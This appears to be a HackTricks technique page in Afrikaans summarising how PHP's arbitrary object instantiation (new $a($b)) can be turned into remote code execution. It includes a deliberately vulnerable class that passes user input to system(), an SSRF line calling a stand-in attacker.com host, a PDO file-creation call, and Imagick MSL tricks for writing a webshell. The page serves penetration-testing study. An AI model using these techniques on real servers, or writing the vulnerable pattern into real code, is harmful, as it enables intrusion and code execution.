PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

Ondersteun HackTricks

Dit is basies 'n opsomming van https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Inleiding

Die skepping van nuwe arbitrêre objek, soos new $_GET["a"]($_GET["a"]), kan lei tot Remote Code Execution (RCE), soos in 'n skrywe uiteengesit. Hierdie dokument beklemtoon verskeie strategieë om RCE te bereik.

RCE via Aangepaste Klasse of Autoloading

Die sintaksis new $a($b) word gebruik om 'n objek te instantiëer waar $a die klasnaam verteenwoordig en $b die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays is, of van JSON, waar hulle as ander tipes kan voorkom.

Oorweeg die kode-snippet hieronder:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

In hierdie geval lei die instelling van $a na App of App2 en $b na 'n stelselaanroep (bv. uname -a) tot die uitvoering van daardie aanroep.

Outomatiese laai funksies kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met behulp van spl_autoload_register of __autoload:

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

Die gedrag van outomatiese laai varieer met PHP weergawes, wat verskillende RCE moontlikhede bied.

RCE via Ingeboude Klasse

In die afwesigheid van pasgemaakte klasse of outomatiese laaiers, kan ingeboude PHP klasse voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met get_declared_classes().

Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel https://3v4l.org/2JEGF.

RCE via spesifieke metodes sluit in:

SSRF + Phar Deserialisering

Die SplFileObject klas stel SSRF in staat deur sy konstruktor, wat verbindings na enige URL toelaat:

new SplFileObject('http://attacker.com/');

SSRF kan lei tot deserialisering aanvalle in weergawes van PHP voor 8.0 wat die Phar protokol gebruik.

Eksploitering van PDO's

Die PDO klas konstrukteur laat verbindings toe tot databasisse via DSN stringe, wat moontlik lêer skep of ander interaksies moontlik maak:

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die SoapClient en SimpleXMLElement konstruktors, afhangende van die weergawe van libxml2.

RCE via Imagick Extension

In die analise van 'n projek se afhanklikhede, is ontdek dat Imagick benut kan word vir opdrag uitvoering deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut.

VID parser

Die VID parser vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik.

VID Parser + Lêer Oplaai

Daar word opgemerk dat PHP tydelik opgelaaide lêers in /tmp/phpXXXXXX stoor. Die VID parser in Imagick, wat die msl protokol gebruik, kan wildcard in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik.

PHP Crash + Brute Force

'n Metode wat in die oorspronklike skrywe beskryf word, behels die oplaai van lêers wat 'n bedienerkragopval veroorsaak voordat dit verwyder word. Deur die naam van die tydelike lêer te brute-force, word dit moontlik vir Imagick om arbitrêre PHP-kode uit te voer. Hierdie tegniek is egter gevind om slegs effektief te wees in 'n verouderde weergawe van ImageMagick.

References

Support HackTricks

Last updated